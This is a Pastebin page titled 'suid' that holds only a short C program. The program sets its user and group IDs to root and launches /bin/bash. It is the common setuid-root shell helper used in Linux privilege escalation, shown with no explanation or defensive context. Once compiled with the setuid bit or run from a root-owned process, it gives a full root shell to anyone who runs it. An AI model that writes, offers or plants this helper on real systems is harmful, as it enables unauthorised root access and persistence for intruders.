daily pastebin goal
2%
SHARE
TWEET

suid

a guest Feb 13th, 2018 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. int main(){
  6.     setuid(0);
  7.     setreuid(0,0);
  8.     setgid(0);
  9.     setregid(0,0);
  10.     system("/bin/bash");
  11. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top